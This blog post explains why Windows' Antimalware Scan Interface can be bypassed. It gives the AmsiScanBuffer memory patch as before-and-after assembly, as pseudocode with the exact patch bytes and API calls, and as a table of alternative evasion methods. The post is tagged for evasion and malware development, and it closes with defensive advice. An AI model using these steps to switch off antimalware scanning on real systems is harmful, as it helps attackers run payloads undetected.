Back to blog
Mar 20267 min read

AMSI is a Screen Door

6 bytes between you and arbitrary code execution

The Antimalware Scan Interface was Microsoft's answer to fileless malware. Instead of scanning files on disk, AMSI hooks into scripting engines (PowerShell, VBScript, JScript, .NET) and scans content at runtime before execution. On paper, this is smart. In practice, it's a lock on a screen door.

The fundamental problem: AMSI runs in the same process space as the code it's trying to scan. Your code and the security check live in the same address space, with the same permissions. If you can write to memory, you can turn AMSI off.

How AMSI Works (Briefly)

When PowerShell (or any AMSI-aware host) executes a script, it calls AmsiScanBuffer() in amsi.dll before running the code. This function passes the script content to the registered antimalware provider (usually Defender), which returns a verdict: clean or malicious.

amsi-flow.txt
1. PowerShell receives script input
2. Calls AmsiScanBuffer() in amsi.dll
3. amsi.dll forwards content to Defender
4. Defender returns verdict: AMSI_RESULT_CLEAN or AMSI_RESULT_DETECTED
5. PowerShell allows or blocks execution
The problem: steps 1-5 all happen in YOUR process.
You own the memory. You own amsi.dll.

The 6-Byte Patch

The most common bypass is embarrassingly simple. Find AmsiScanBuffer in memory, overwrite the first few bytes of the function with instructions that force it to return "clean" immediately. The function never executes its actual scanning logic.

BEFORE PATCH
AmsiScanBuffer:
mov r8, rdx
test rdi, rdi
je error_handler
; ... actual scanning logic
; ... calls into Defender
; ... returns verdict
AFTER PATCH
AmsiScanBuffer:
xor eax, eax ; result = 0
ret ; return immediately
test rdi, rdi
je error_handler
; ... scanning logic
; ... never reached

That's it. Two instructions. xor eax, eax sets the return value to zero (clean), and ret exits the function before it does anything. Every script after this patch gets a clean verdict. Defender never sees the content.

How the Patch is Applied

The process is three API calls. Get the address of AmsiScanBuffer, change the memory protection to writable, write your patch bytes, and restore the original protection. Done before your actual payload ever runs.

patch-flow.pseudo
// Step 1: Find the function
addr = GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer")
// Step 2: Make it writable
VirtualProtect(addr, 6, PAGE_READWRITE, &oldProtect)
// Step 3: Write the patch
copy(addr, [0x31, 0xC0, 0xC3]) // xor eax,eax; ret
// Step 4: Restore protection
VirtualProtect(addr, 6, oldProtect, &tmp)

Why Every Bypass Keeps Working

Microsoft patches individual bypass strings and techniques, but the fundamental architecture is unfixable. AMSI will always be bypassable because of three design constraints that can't change:

1
Same address space
amsi.dll is loaded into your process. You have full read/write access to its memory. You can't protect a DLL from the process that loaded it.
2
User-mode only
AMSI runs entirely in user mode. There's no kernel component verifying the integrity of the scan. If there were, it would break every legitimate application that loads amsi.dll.
3
Pre-execution timing
The scan happens before your code runs, but the patch also runs before the scan. It's a race condition that the attacker always wins because they control the execution order.

Beyond the Memory Patch

The memory patch is the most well-known bypass, but it's not the only one. Each approach exploits the same fundamental weakness from a different angle:

MethodHowDetected?
Memory patchOverwrite AmsiScanBuffer prologueSIGNATURE
COM hijackRegister a fake AMSI provider that always returns cleanRARELY
AmsiContext corruptionCorrupt the AMSI context struct so init fails silentlyRARELY
DLL unhookingReload a clean amsi.dll from disk over the patched oneSOMETIMES
Hardware breakpointsSet a breakpoint on AmsiScanBuffer, modify return value in handlerRARELY

Microsoft can signature the specific bytes of the memory patch, and they do. But they can't fix the architecture. Every time a bypass gets signatured, a new one appears because the underlying problem is the same: you own the memory that AMSI lives in.

The Takeaway

AMSI is useful for catching commodity malware and script kiddies running unmodified payloads from GitHub. Against anyone who understands how it works, it's a speed bump, not a wall.

The real defence against in-memory attacks isn't AMSI. It's behavioural detection, ETW telemetry, and kernel-level monitoring. AMSI is a checkbox on a compliance report. Treat it accordingly.

EvasionAMSIMalware Dev

This post reflects research and testing against Windows Defender as of early 2026. Detection logic evolves. Test your tooling regularly.